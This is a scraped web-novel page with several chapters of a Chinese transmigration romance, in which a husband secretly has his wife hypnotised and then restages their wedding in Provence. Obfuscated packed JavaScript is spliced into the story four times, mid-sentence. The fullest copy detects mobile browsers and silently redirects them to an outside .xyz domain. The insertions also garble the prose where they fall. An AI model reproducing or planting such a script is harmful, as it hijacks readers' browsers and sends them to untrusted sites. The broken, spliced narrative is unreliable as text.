一场风波就此揭过去了，沈余打量着她的神色，小心翼翼地开口，【你之前说快穿者的身份一旦泄露，你会立刻被主系统抹杀。】 【你要泄密？】沈鱼虽然这样问，可是音调懒洋洋的，仿佛毫不担心她会这样做。 【没有。】沈余连忙否认。【我只是想问为什么我被允许知道你快穿者的身份？是因为我们的合作关系吗？】 【当然不是。】沈鱼解释，【我们快穿者去三千小世界做任务之前系统会挑选合适的身体，基本上都会在确认她们死亡的那一刻接管她们的身体，而你……是一个意外。】 沈余的人生本应该在22岁，在那场车祸中戛然而止，可她偏偏清醒了，甚至还从她的手上抢回了身体的主动权。 仿佛只是灵魂沉睡了5年。 【这件事终归是系统的过错，又有我在旁边求情，所以主系统才会法外开恩。】 【原来是这样啊。】沈余终于明白了。 【你不要想着在别人暴露我的身份，从你答应和我合作的那天我们就绑定在一起了，如果我被系统抹杀你也逃不掉！】 刚刚还心平气和的人一下子又冷冷地警告她，沈余只好又重复一遍，【我不会泄密的。】 她补充，【也不会再去看心理医生了。】 说完，忽然想起，【你见过周心安是吗？那里的工作人员说你很喜欢他们那里特调的茶？】 几年前，他那个心理治疗所刚开业的时候，沈鱼陪顾朝年去过，简单聊过几句，她不太喜欢那个医生，只是那里的茶确实不错，所以多喝了几杯。 她评价道，【是，茶不错，不过人不行。】 几年过去了，沈鱼对那天的谈话已经没什么印象了，因此只是说，【那个医生奇怪的很，以后不要去见他。】 * 同一时间的心安小筑心理诊所，顾朝年去而复返。 明明还是上班的时间可是诊所里面的员工都不在，只有灯还亮着，顾朝年穿过走廊，熟门熟路地找到他们刚刚待的房间。 推开门，周心安背对着他躺坐在椅子上。 “你可算是来了！” 周心安从椅子上站起来，抻了一个懒腰，慢慢走到一旁的书架边，从书架上抽出两本书，正是嵌入墙面的书架从中间裂出一道缝隙，大概有一扇门那么宽。 他大步迈进去，顾朝年紧随其后。 里面看起来像是一个大型的实验室。 周心安按下遥控器，整面墙的显示屏骤然亮起，无数脑电波图谱如深海鱼群般游动。 啪啪的键盘声快速响起，显示屏上的图像飞快变动，随着他按下最后一个按键，屏幕上显示的赫然是他刚刚催眠沈余的画面。 沈余的声音清晰地传到顾朝年的耳朵里。 “我是沈余。” “我身上都是血。” “我消失了整整五年。” …… 她每说一个字，顾朝年卡住手腕的手便又紧了一分，仿佛只有只有这样才能遏制住那钻心刺骨的疼爬满心口。 “我不能说，我答应过要保守秘密。” 随着沈余说完最后一句话，整个画面彻底结束，周心安显然有些兴奋，“你的猜想竟然是真的！” 几年前，在顾朝年第一次说沈余被一个怪物夺舍了的时候他是不相信的，可是从来都是理智冷静的顾朝年在那两年仿佛被下了降头一样，满世界地求神拜佛。 除了沈余，没人会让他这样。 最终他提议让他将那个怪物带过来，他试着催眠她，可她的警惕心太强了，人虽然被催眠了，可是什么都问不出来。 除了等待，他们什么都做不了。 万幸，他们真的将沈余等回来了，可她却失忆了。顾朝年一开始带沈余来他这里真的只是想让他帮忙看看失忆，没想到会有额外的收获。 “她说她不能说，她答应过保守秘密？” “她答应的谁，那个怪物吗？” “这是回来的代价吗？” “她还答应了那个怪物什么？” 周心安有一连串的问题，可没人能回答出，就连唯一能够一起讨论的顾朝年也默不作声。 “既然她什么都记得为什么要假装失忆？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她又将自己裹成了一个粉色的蚕蛹，并不坚硬的外壳，却足够把他隔绝在外了。他靠在门边，静静地看着她。 看了许久，他走到床边。 壳外只剩下一颗小脑袋，脸颊睡得红扑扑的，有几缕发丝黏在脸上，顾朝年伸手将它捋到耳后。 沈余记着自己要和顾朝年说以后都不要去看心理医生的事情，一直是半梦半醒。感觉到脸上传来痒痒的感觉，她迷迷糊糊地睁开眼，“顾朝年？” “是我。” “你怎么才回来？” “我……” 实际上他临近傍晚的时候就已经从心安小筑心理诊所离开了，他让老木先回去了，自己几乎走了一大半路。 这么远的路，他只想了一个问题：阿余真的讨厌他到情愿忘记他吗？ 却始终没想到答案。 又或者是早就有了答案，只是他不愿意相信。 想到那几乎要呼之欲出的答案，顾朝年缩回手，“抱歉，吵到你休息了。” 却被沈余一把拽住，手心里仿佛握着一块寒冰，“你的手好冷啊！” “……我刚从外面回来” 顾朝年急着解释，急着去挣开她的手，却在下一秒忽然顿住了。 粉色的被子掀开一角，她拉着他的手臂企图将他整个人塞进被子里，闭着眼睛嘟囔道，“被子里很暖和，快进来。” 本以为永远不会接纳他的壳就这样毫无防备地向他敞开了。 21. 第 21 章 沈余睡得迷迷糊糊，不知道怎么一头撞进了顾朝年怀里。 粉色的小花被将他彻底盖住，源源不断的热气混着蜜桃味沐浴露的清香从他的胸口传出。 他垂眸去看怀里的人，正对上她艰难地睁开眼皮，“……顾朝年？” “是我。” 眼皮上下打架，睁开不过两三秒又很快合上，直到听到熟悉的声音，沈余才彻底放心地闭上眼睛，一头歪倒在他怀里。 头发将脸都盖住，沈余浑然不觉，心里只记得一件事，“顾朝年，我以后还要去看心理医生吗？” “怎么了？” 将她的头发都拨到耳后，顾朝年放低了声音问。 沈余的意识溃散，提前想好的理由忘得一干二净。 发丝在他指尖变得格外顺滑，又将一缕发丝捋顺，他听到胸口处传来闷闷的声音，“不想去。” 顾朝年的手一顿，继而又轻轻地揉着她的头发，“阿余是不喜欢周医生还是因为……别的事情？” 如果是清醒着的沈余或许能听出这句话别有深意，可此刻她只觉得烦，更讨厌他的刨根问底。 “我就是不想去。” 怕他还要问，沈余揪着他的胸口的衣服，将脸埋了进去，一副拒绝沟通的样子。 顾朝年一僵，喉结飞快地滑动两下，再开口嗓音已经有些哑了，“阿余，你先出来好吗？” 轻轻揽住她的肩膀，几乎是在违背自己的生理本能将人往外带。 沈余真的已经彻底失去意识，完完全全地昏睡过去，察觉到身旁有什么东西打扰她睡觉她只想躲起来。 于是将脸埋得更深了。 顾朝年在被子里待了好一会，身上的寒气早已消散，身上的热气仿佛能将人烤熟。好在冬季的衣服并不薄，隔着一层米白色毛衣，沈余脸颊贴着的位置刚刚好。 暖融融又柔软。 她只觉得，今晚的枕头格外舒服。 顾朝年却不这样想。 喜欢的人埋进他的胸口。 香香的、软软的。 即使隔了一层布料，对他而言，也太过煎熬。 他甚至不敢动，只能轻声唤着她的名字，“……阿余。” 像是有蜜蜂在耳边嗡嗡乱响，扰人清梦，沈余手上捏着“被子”，习惯性地掀开蒙住脑袋。 柔软的发丝从手中滑落，毛衣的下摆陡然被掀开，紧接着一个毛茸茸的脑袋钻了进来，顾朝年呼吸一窒。 温热潮湿的呼吸落在他的胸口，又顺着腹部的肌肉线条悄悄向下。 如果他们是真正的夫妻，顾朝年会毫不犹豫地将人揽进怀里，将他们之间的每一寸缝隙都填满。 可他记得沈余被催眠时说的每一句话。 她不喜欢他。 他们是假夫妻。 甚至她讨厌他，讨厌到她宁愿假装失忆也不想再记得他。 她不喜欢他，他可以努力去让她喜欢上他。 可如果是讨厌呢？ 要放她离开吗？ 曾经的信誓旦旦仿佛在刹那间烟消云散，顾朝年略微僵硬的手也不知该落向何处，只能绷紧肌肉避免更多的亲密接触。 毛衣凸显出沈余单薄的轮廓，他的视线总是忍不住落到她的身上。 同一床被子、同一件毛衣； 将她和他层层包裹住。 彼此唯一的距离是他强忍着绷紧肌肉空出的不到一根手指粗的距离。 每一次小心翼翼呼吸时又总是忍不住想，如果真的讨厌他应该无法接受这样亲密的距离。 “……阿余，你其实也没那么讨厌我吧。” 这个念头每冒出一次，呼出的气体就灼热一分，胸口的起伏也就大一分。怕控制不住，他只好后退一点。 彻底熟睡的沈余已经完全听不清他在说什么了，只感觉到温暖舒适的枕头在一点点远离自己，她伸出手，一把将枕头拽回来。 终于能够放松喘息的顾朝年刚吐出一口浊气，浑身的肌肉也才放松下来，忽然一只小手伸过去贴在了他的腰后方，轻轻一个用力，他的身体向前倾。 努力维持了许久的安全距离消失顾朝年尚未来得及懊恼，紧接着，一个濡湿温暖的唇印上了他的胸膛。 “唔……” 血液急速上涌，胸膛剧烈地起伏着，顾朝年不可控地喘息一声。 沈余睡得很安静，之后再没有别的动作了。 顾朝年却像是不受控制一般大口大口喘着气，每一次吐出气体的时候会拉开一点点缝隙，却在他吸入气体的时候重新贴上唇瓣。 若有似无的摩擦仿佛一个个轻吻，明明她什么都没做，可顾朝年却仿佛已经被折磨疯了。 眼睛中充满了红血丝，隔着一层厚重毛衣看着自己怀里的人。 看了很久，喘得更久，最后他似是放弃抵抗一般闭上眼睛，一直无处的安放的手慢慢、慢慢地落下来。 隔着一层布料落在沈余的肩头。 将人一点点揽进怀里，温热的唇瓣紧密无隙地落在他的胸膛上，不再是若有似无的轻吻，而是独属于他的吻。 如同一块印章透过他表层的肌肤在心底打上了独属于她的烙印，空了一块的心也因此被骤然填满，灵魂也随之轻轻震荡着。 残缺的心和灵魂同一时间被补充完整，顾朝年舒服地叹慰一声。 他想，他永远也不会再想着放她离开。 * 沈余醒来的时候自己正睡在顾朝年的怀里，这样的场面这段时间已经见惯了，她也早没有当初那么惊讶。 她一动，顾朝年也跟着醒过来，抱了她温声说，“早安。” 很快将她松开，却没有立刻离开，而是歪着头看着她。 沈余慢了半拍反应过来，也许他是在等她说早安。她试探地开口，“早安。” 男人立刻露出一个微笑，他揉了揉她的发顶，“今天想吃什么？” 沈余想了想说，“三明治吧。” “好。”男人站起身，正准备去洗漱，沈余忽然看到他身上竟然穿着昨天的衣服，“你昨天穿这个睡的吗？” “昨晚回来的有些晚，忘记换了。”顾朝年停住脚步，略带歉意地回头看着她，“抱歉，弄脏的被子和衣服我一会儿会洗干净。” “我不是这个意思。”她只是隐约记得昨天是她将他拽到床上的，至于后来发生了什么她就不记得了，本想问问顾朝年发生了什么，想想又觉得没必要，“算了，你去洗漱吧。” 顾朝年点点头去洗漱，他出来后沈余紧随其后去了卫生间。将身上的脏衣服随手扔进脏衣篓，沈余忽然想不起她昨晚有没有和顾朝年说心理医生的事情了。 直到洗漱完，沈余也没想起来，看来只能一会儿问问他了。 在沈鱼的指导下换好衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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衣服上的水滴滴答答落到地板上，两个之间陷入了一片沉默。 半个小时后，客厅内。 两个人面对面地坐好，沈余严肃又郑重地为他灌输自己的事情自己做的思想，尤其是她自己的内衣她可以自己洗。 顾朝年全程缄默，直到最后沈余问他听明白了没有，他才嗯了一声。 内衣的事情处理好，沈余终于想起自己最关心的事情，“我昨晚有没有和你说自己不想再去看心理医生了？” “说了。” “那你怎么说？” 沈余握紧了凳子的扶手，怕他不同意更怕他掉好感度。连忙又补充，“我虽然不想再去看心理医生，但是我觉得他最后说的那个情景重现治疗方法还是比较靠谱的。” “你觉得情景重现靠谱？”顾朝年略带惊讶地看着她。 “是啊。”沈余点点头，“所以我们先按照这个方法尝试着恢复记忆，就不要去看心理医生了，你觉得怎么样？” 她自觉提出了一个两全其美的方法，谁知道男人却没吭声，只是静静地看着她，偏偏好感度又没什么变化，直到看到她心有些发虚，顾朝年才开口。 “好啊，你想重现哪段的记忆？” 他的指尖轻轻敲击着桌面，不知道在思考些什么。 “当然是距离现在最近的一段了。” 她已经和沈鱼商量过了，周心安虽然不靠谱但是情景重现治疗的方法确实有点用处，通过重现这五年顾朝年对沈鱼的心动瞬间，想必攻略任务很快就会圆满完成。 怕他没懂她的意思，她又补充，“就从我们结婚那一年开始吧。” 顾朝年收回手，脸上是她常见的温和笑容，“好。” 22. 第 22 章 沈余的计划是将他们结婚这5年所有幸福甜蜜的事情都重现一遍，自然要从结婚第一年开始。 她是这样计划的，但由于她真的没有这五年的经历，所以对于具体要重现哪个场景还没有思绪。 她去请教沈鱼，却被她以“你又不攻略我，我印象深刻有什么用”给打了回来。她只好去问顾朝年。 敲开了书房的门，顾朝年正在忙，他从一堆文件中抬头示意她先找地方坐下。 她坐在沙发上，看对面一摞又一摞的文件几乎将书桌堆满，有的甚至摞到他的胸口，他眸色淡淡地看着文件，偶尔嘴里吐出几句流畅的英文，电脑屏幕幽蓝色的光照在他的脸上，看起来冷漠又专注。 她总觉得，这样的他才是她记忆中的顾朝年。 有一瞬间让她恍惚觉得这只是她在国外留学时的一个寻常的下午，她迫于叶茹的要求去公司找他，但好在顾朝年是个工作狂，鲜有的几次都是被助理带到他的专属休息室，一坐就是一下午。 就在她以为还要等很久的时候，视频会议结束，顾朝年摘下耳机，视线从电脑移到她的脸上，声音温和，“怎么了吗？” 她愣了一下答道，“没什么，我就是想问问我们什么时候开始情景重现治疗。” “阿余很着急吗？” 她当然着急了，她急着攻略他，急着恢复自由。心里是这样想的，但是表面还装作很矜持的样子，“也不知很急，只是都过去好几天了，所以想来问问你。” “抱歉，最近一直在忙工作上的事情。”他摘下眼镜，揉着有些发酸的眼睛，脸上是止不住的疲惫。 “工作是忙不完的，如果很累的话可以适当休息一会儿。”沈余假模假样的关心他。 顾朝年笑着点点头，“我还好，只是想将手头上的工作都处理完才好腾出时间专心陪你恢复记忆。” 劝他工作不要那么拼命这种话她以前不是没说过，毕竟身为他的未婚妻面子工程还是要做一下的，但这还是他头一次向她解释。 原来是为了抽出时间陪她。 沈余心里有些动容，“我其实也不是很着急。” 这一次的语气真诚了许多。 “阿余想恢复记忆的心情我能理解。”他打开手机，扫了一眼接下来的工作安排，同她商量，“再给我两天，两天后我将手上的工作都处理好我们就开始好不好？” “可以。”沈余不想打扰他，“那你继续工作吧，我就先出去了。” 沈余出去也没什么事，拿着ipad看了一眼了自己的微信号。微信里面人太多，消息也太多，绝大数沈余都不认识，秉持着多说多措的原则她干脆不说，也不回，因此已经很久没点开过微信了。 一上线，消息叮叮当当很快99+。 沈余大致扫了一眼，将孟梦和圆圆的消息先回复了，回到聊天界面时头像是一条金鱼的聊天框一下子弹了上来，单他一个人的聊天消息就99+。 而且还没有备注。 点开聊天框，一开始是在问她病好没好，身体怎么样？后来问她为什么不理他，并开始疯狂道歉，最后是清一色的——表白短信。 ？ 沈余：【这个人是谁？】 【……额。】沈鱼难得迟疑了，但很快又开口，【这还不明显吗？就是我的一个追求者。】 【只是追求者？】 【那当然喽！】沈鱼风情万种地撩了一下头发，【我长得这么漂亮有几个追求者不是很正常嘛？】 想了想觉得她说的有点道理，【但是你这个追求者也太……执着了吧。】 【不执着怎么配当我的追求者。】沈鱼摆摆手，没所谓地说着，【别理他了，我最近有个电影一直很想看，正好你也在，我们一起看吧。】 按照她说的搜索，沈余面露难色，【你想看的电影是鬼片？】 沈鱼已经摩拳擦掌了，【是啊，我这几天看了好几部了，超级好看！】说完才发现她的表情好像不太对，【怎么，你害怕？】 【是，有一点。】 【没事的，这都是假的。而且我陪着你一起看，有什么好怕的！】 沈余一想也是，两个人一起肯定不会那么害怕。 但事实证明大错特错！ 每到一个惊悚的镜头，明明她还没怎么样，沈鱼总是会突然大叫一声。那声音还不是来自她的身边，而是从她大脑深处传出来。 每次她大叫，沈余都有一种被雷劈中天灵盖的感觉。 在她提醒后尽管沈鱼已经竭力隐忍不再尖叫，可每次看到惊悚镜头的时候她还是会下意识地担心。 一场电影看完，沈鱼美美地回到空间，而她却快要神经衰弱了。 * 顾朝年一直工作到很晚才回房间。 房间内静悄悄的，只有床头附近亮了一盏小夜灯。以为沈余已经睡熟了，他放轻脚步，掀开被子正对上一双温润的眸子。 眼神中还带着一丝委屈。 “怎么还没睡？” “看了一个鬼片，睡不着。”躺在床上翻来覆去，总感觉有人在她耳边尖叫。 “吓到了？” 她坐起来，头发在被子里滚得有些乱糟糟的，“嗯……有一点吧。” 顾朝年靠坐在她身边十分不嫌弃地揉了揉她的发顶，一边揉嘴里一边念念有词，认真的样子像是在进行某种古老的仪式。 他说得很快，她甚至没听清他说得是什么。她凑过去，想要听清他说得是什么，却没控制好力道。鼻尖相撞，顾朝年疼得轻嘶一声。他却没在乎，反而伸手捏住了她的耳垂。 带有一层薄茧的指腹轻轻揉捏着她的耳垂，他口中喃喃自语道，“摸摸耳，吓一会儿。” 仪式仿佛还在继续，他一会儿摸摸她的头发，一会儿捏捏她的耳朵，同时说着“摸摸毛，吓不着，摸摸耳，吓一会儿。” 沈余终于听清了他嘴里的咒语，一时间有些呆住。 整整重复了三遍，仪式终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈余点点头，没再继续这个话题，“你和她结婚这几年有没有什么事情是让你印象深刻的？” 她还是不太适应，脱口又说成了“她”，好在顾朝年也没注意到，甚至还被她同化了，“我和她结婚五年，但是这五年我一直在国外，她忙着演戏，我们几乎很少见面……” 刚刚还爱到不行的人怎么一转眼就仿佛要断绝关系。沈余皱着眉打断他，“再不怎么见面也应该有几件记忆深刻的事情吧？你再好好想想。” 顾朝年皱着眉思考，好半晌没吭声。 沈余等得都有些困了，不知不觉靠在了他的肩膀上睡着了。 偏头，看到沈余熟睡的侧脸，叹息声几不可闻，“阿余，除了你我没喜欢过任何人。” ——我只爱你。 房间内寂静一片，没有人能回应他，可仿佛只有这样，他才敢肆无忌惮地倾吐自己的满腔爱意。 “你刚刚问我喜欢你什么？” “我也不知道。我只知道从你出生的那天起，我就注定要守着你，爱着你。” 23. 第 23 章 两天后，沈余坐上了前往普罗旺斯的私人飞机。 顾朝年一开始没说要带她去哪，落地后她才知道她们正在普罗旺斯的一个小镇。下飞机后他们入住了一幢薰衣草花田旁边的别墅。 别墅是标准的法式建筑，白色的奶油外墙搭配蓝黑色的屋顶，典雅的立体雕花、精致的铁艺阳台，每一处细节都展现着法式建筑独特的优雅浪漫。 别墅内部的装修以淡粉色和米白色为主，简约又不失温馨。客厅的一角摆放着一架钢琴，沈余随手翻阅了一下钢琴架上的琴谱正好翻到顾朝年最喜欢的《月光变奏曲》。 她几乎可以肯定这是顾朝年的别墅。 像他们这样的人在世界的任何一个角落有几套房子都不稀奇，只是他为什么要带她来这里呢？ 普罗旺斯以薰衣草花田闻名世界，夏季到来之时成片的紫色薰衣草盛开，是爱情和美丽的象征，沈余也曾向往过，只是…… 透过别墅的落地窗看向窗外，冬季的普罗旺斯肃静而清冷，薰衣草花田更是萧瑟，叶片早已枯萎，只剩下一下短小的枯茎□□地站立在一片雪地中。 显然不是旅游观光的好季节。 只有一个理由能解释通了，“你带我来这里是为了帮助我恢复记忆吗？” “是。” 顾朝年轻抚着琴键，悦耳的旋律从他的指尖流出，只弹了几下就收回手，环视着这间别墅，“这本来是我送给你的新婚礼物。” “本来？”沈余敏锐地捕捉到这两个字。 顾朝年眼眸微闪，从一旁的柜子里拿出房产证和钥匙，“因为一些原因迟迟没能给你，现在终于可以物归原主了。” 沈余愣愣地接过来，还是有些没反应过来，“所以这和帮助我恢复记忆有什么关系？” 她发呆的样子太可爱，顾朝年没忍住摸了摸她的脑袋，“你不是想要重现一些印象深刻的场景嘛。” “我们的婚礼够不够印象深刻？” “婚礼!”沈余眼睛一亮，“那真是太好了！” 那一瞬间她仿佛看到自由在向她招手。 * 傍晚时分，壁炉中的火星劈啪作响，沈余盖着一层薄毯坐在壁炉前，卷毛趴在她脚边的地毯上和她一起烤火。 秀气的眉拧在一起，脸更是皱成一个包子，顾朝年端着一杯热可可递给她问，“怎么了？” 热可可的热气蒸腾着，透过热气她看到了自己在杯中的倒影，愁眉苦脸的样子非常难看。 她其实也不知道自己怎么了，明明一开始听到要重现婚礼场景的时候是开心的，可是也才没过去几个小时，当初的开心已经荡然无存，甚至隐隐有一些焦虑。 会在哪里举行婚礼？ 会有人参加吗？还是只有他们两个？ 需要穿婚纱吗？ 而且她的化妆品好像也没带全。 明明只是模拟婚礼而已，可她还是会不由自主地想到这些。随着时间的推移她开始焦虑，就仿佛她真的要举办婚礼一样。 意识到这一点的时候，沈余更焦虑了。 她抱起卷毛，猛吸一口，然后趴在她的身上不动了，“顾朝年，我好像有点焦虑，需要狠吸卷毛几口才能好。” 卷毛被她压得不舒服，挣扎着从她身下跑开了，唯一的解压神器消失，沈余整个人摊在沙发上，看起来颇为生无可恋。 “还焦虑？” 沈余有气无力地嗯了一声。 顾朝年看着已经跑远了的卷毛，凑过去，“卷毛已经跑远了，要不然你吸吸我？” ？ 沈余一瞬间瞪圆了眼睛。 顾朝年则是在说完这句话之后才反应过来自己刚刚说了什么，红着脸解释，“我是说你可以和我说说你都在焦虑什么，也许我可以帮你解决？” ……嗯，这才正常嘛。 沈余坐起来，将她焦虑的点一件一件告诉他。 顾朝年耐心地听完，一件一件向她解释，“明天会在小镇的教堂里举行婚礼。因为你失忆的事情还在保密，所以国内的亲人朋友不会过来参加，但是也不会只有我们两个人。妆容的问题你不用担心，我请了专业的化妆师团队明早会过来，你想要什么样的妆容都可以和他们沟通。至于婚纱……” 说到婚纱的时候顾朝年停顿了一下，牵起她的手说，“你跟我来。” 他牵着她的手，带着她一路来到了二楼的一个房间。 推开门的瞬间，窗外灿烂的夕阳几乎将她晃瞎，她适应了一会儿才彻底睁开眼睛。透过巨大的玻璃窗整间房间都被染成了暖橙色，像是一块被凝固住的冰晶琥珀，而在冰晶琥珀的中央包裹着最珍贵的藏品。 ——纯白色的缎面婚纱在暮色中泛着贝壳般的光泽，缠绕在腰部薰衣草刺绣恰到好处，层层的裙摆更是如同海浪一般丝滑铺开。 美不胜收。 顾朝年上前揭开罩在外面的那层纱衣，它真正的美才彻底展现。 成百上千根银丝勾勒出薰衣草的轮廓，成分极好的紫钻做花蕊，随着裙子的每一次摆动发出微光。裙摆更是大有乾坤，每层裙摆的边缘都用金线绣满了乐符。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996623|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈余依稀辨认出，“这，这是《月光变奏曲》的高潮片段？” “是。”顾朝年抬手轻轻抚摸着乐符，“要试试吗？” 女人对婚纱向来没有抵抗力，尤其还是漂亮的婚纱，沈余迫不及待去旁边的试衣间换好。 门把轻轻转动，顾朝年循声望了过去。万千霞光披在她的身后，明明是纯白色的婚纱却散发着幽蓝色的光泽，紫色的钻石与银色的丝线交相呼应，仿佛将一整片薰衣草花田都穿在了身上，走动间裙摆上音符不断跳动。 “好美！”顾朝年的视线再也无法从她的身上离开。 随着最后一个音符的落下，沈余停在了试衣镜前，转圈看着镜子中的衣服，也忍不住感慨，“真的很美！” “这件衣服你是什么时候做的，怎么做的刚刚好？”可以说是分毫不差。 “五年前定制的，从设计到制作意大利最专业的刺绣工匠团队整整用了一年的时间才完成。” 原来是他们结婚时的婚纱啊。 这一刻她有些庆幸沈鱼是个女演员，需要常年保持自己的体重，不然她现在绝对穿不进去她五年前的婚纱。 她小心翼翼地摸着婚纱上的刺绣，又一次感慨，“这件衣服做起来这么复杂又繁琐，我都有点舍不得穿了。” “衣服做出来就是给人穿的。” 夕阳西下，窗外又卷起风雪，房间内仿佛一瞬间暗了下来，黑暗中，顾朝年镜片后的目光肆无忌惮地落在沈余被收紧的腰身上。 他始终觉得， 只有这样完美的婚纱，才配得上他的新娘。 * 晚上睡觉前，和沈鱼聊天的时候，她反反复复地夸她结婚时的那件婚纱，直到将沈鱼夸得不耐烦才彻底睡过去。 切断信号后，系统问：【宿主，我不记得你曾经穿过这件婚纱。】 沈鱼冷笑一声，【废话，我们当初就没办过婚礼。】 系统：【要不要告诉沈余？】 她没有回答，而是问，【系统，你真的觉得顾朝年喜欢我吗？】 系统：【根据系统显示，顾朝年当前好感度为95%，符合“深爱”阶段。】 【深爱？】沈鱼干笑两声，【他如果爱我为什么沈余也可以影响他的好感度变化？】 【这到底是偶然还是……只有沈余能影响他的好感度变化？】 系统屏幕变成了一串乱码，【抱歉，该问题系统无法回答。】 虽然本来也没指望它能回答上，但还是被它的反应无语到，沈鱼白了它一眼，【人工智障！】 24. 第 24 章 累了一整天，但睡在异国的床上，沈余还是有些失眠，唯一让她觉得熟悉的顾朝年身上的松木香，靠在他怀里闻着自己熟悉的味道才慢慢睡过去。 翌日再睁开眼的时候天光大亮，看了一眼时间才发现已经10点多了。 她蹭地一下坐起来，同样刚睡醒的顾朝年揉了揉眼睛，看了一眼手机上的时间，才10点39。 “怎么会睡过去，我昨晚明明定了闹铃的。”沈余懊恼地锤着脑袋，慌慌张张就要下床去找衣服穿。 顾朝年扣住她的手腕，一个用力又将她重新拉回床上。脑袋下枕着他的胸膛，男人说话的声音仿佛通过胸腔震动传进她的耳膜。 “是我关了你的闹钟。” 沈余反应极慢地眨了眨眼，“为什么？我们要迟到了。” 她想要起身，男人的大手却锢在她的腰间，“不会，我们的婚礼在傍晚举行。”另一只手轻轻落在她的发顶，“乖，再睡一会儿。” 从发顶落到她的肩膀，一下又一下轻轻拍打着，像是在哄小朋友睡觉一样，紧绷的弦得到放松，沈余不知不觉竟又睡了过去。 再醒来已经是中午了，两个人一起用了早餐，随后分开各自去整理妆容。和专业的化妆师团队商量好今天的妆容，换上早就准备的礼服，在专人的带领下前往小镇中心的教堂。 小镇的冬日不如国内那般低气温，下雪更是难得。沈余下车的时候天空却飘着雪花。 哥特式的教堂外圈围绕了一个玻璃花廊，花廊上空垂挂着玻璃制成的短管，里面娟娟流淌着温泉水，蒸腾着的热气氤氲着仿若仙境。 踏入仙境的沈余才彻底看清廊下盛开着大片大片的薰衣草，从她脚下一路到红毯的尽头。 曾经梦寐以求的薰衣草花海突然盛开在自己眼前，美得沈余近乎失语，她沿着红毯向前走，忽然听到教堂内传来一阵钢琴声，旋律简单，曲调欢快。 直到走到红毯的尽头，沈余才听出来，这，这好像是《洋娃娃和小熊跳舞》。 古朴沉重的教堂大门被推开，暖风裹着苹果派的甜香扑面而来，红毯并没有结束，而是一路铺到了祭坛，两侧挤满了小镇村民。 他们没穿礼服，只是最朴素的衣服，但却简单干净，脸颊红扑扑地，口中是同一个音调，“Bienvenueàlamaison!” 应该是法语，甚至可能还带着一点方言，沈余完全听不懂，但透过他们澄澈透亮的眼睛，她想那一定是最诚挚的祝福。 最靠近红毯的一排站满了年轻漂亮的小镇姑娘，她们手拿花篮不断地向空中抛洒烘干的薰衣草花碎。顺着她们，沈余的目光不断向后穿梭，最终落到了圣坛旁那个弹着钢琴的男人身上。 顾朝年穿着一身深黑色的西装，修长的手指在黑白琴键上翻飞，随着最后一个音符落下，他站起身，大步向她走来。 牵住她的手，踩着满地的薰衣草花碎一起走到圣坛。 教父是一个蓄着白胡子的普罗旺斯老头，精神矍铄。他展开被岁月染黄的羊皮纸，低沉的法语混着英语流淌，这一次沈余听明白了，他说的是，“请新郎面对新娘拉起她的右手……” 顾朝年照着他的指示拉起她的右手，用英文宣誓，“我以上帝的名义，郑重发誓：接受你成为我的妻子，从今日起，不论祸福、富贵、贫穷、疾病还是健康，都爱你，珍视你，直至死亡将我们分开。” 宣誓时，他的眼睛一眨不眨地看着她，仿佛这并非只是一个情景模拟，而是他又回到了五年前的那场婚礼。 他是真的在对自己的妻子承诺，承诺永远不会抛弃她。 而她却可耻地利用了他的心意。 沈余的心刺痛了一下，但她告诫自己：她没有第二种选择了。 很快她也在教父的指示下举起顾朝年的左手，同样用英文宣誓，“我以上帝的名义，郑重发誓：接受你成为我的丈夫，从今日起，不论祸福、富贵、贫穷、疾病还是健康，都爱你，珍视你，直至死亡将我们分开。” 他们放下手，到了交换戒指的环节。 顾朝年用指尖指了指门的方向，卷毛不知道什么时候站在了红毯上，身上穿着白色的纱裙，打扮得和她这个新娘也不遑多让。 平日里活泼乱跳的卷毛今天格外听话，迈着小短腿乖乖地按着红毯的方向走，终于晃到了他们面前，沈余才注意到它脖子处的钻石项链上坠着一个宝蓝色的小盒子。 顾朝年弯腰从她的脖子上取下盒子，奖励性地拍了拍卷毛的脑袋，“卷毛真棒!”然后示意将卷毛带到旁边。 从里面拿出戒指，互相为对方戴上，教父说，“新郎新娘互相发誓并接受了戒指。我以圣父圣子圣灵的名字宣布你们结为夫妇。上帝将你们结合在一起，任何人不得拆散。” 众人：“阿门。” 沈余一直在期待着系统传来顾朝年好感度变化的提示音，不料一个走神忽然听到教父用字正腔圆的英语说，“现在请新郎亲吻你的新娘！” 啊？还要……亲吻？ 沈余无意识地攥紧婚纱内衬的乐谱纹路。 系统的提示音毫无反应，教堂内的小镇村民们却仿佛在一瞬间沸腾了起来，嘴里都欢呼着，“Kiss！Kiss!” 视线匆匆扫过去又狼狈地收回来，最后停留在男人的脸上。 顾朝年眼神微动，右手已经虚扶上她的腰，她安慰自己，没事的，又不是没亲过，何况更过分的沈鱼都做过了。 “别咬嘴唇。”顾朝年用中文低语，指腹轻抚过她下唇被咬出的白痕。 男人的目光紧紧追随着她的唇瓣，灼热又黏腻，沈余干脆闭上眼睛，眼睛看不到，身体上的感觉却更清晰了。 带有薄茧的指腹一下又一下撩过她的唇瓣，冷松木香混着薰衣草的味道从男人的身上传出，而且这味道似乎越来越近…… 预料中的温热迟迟没有落下。 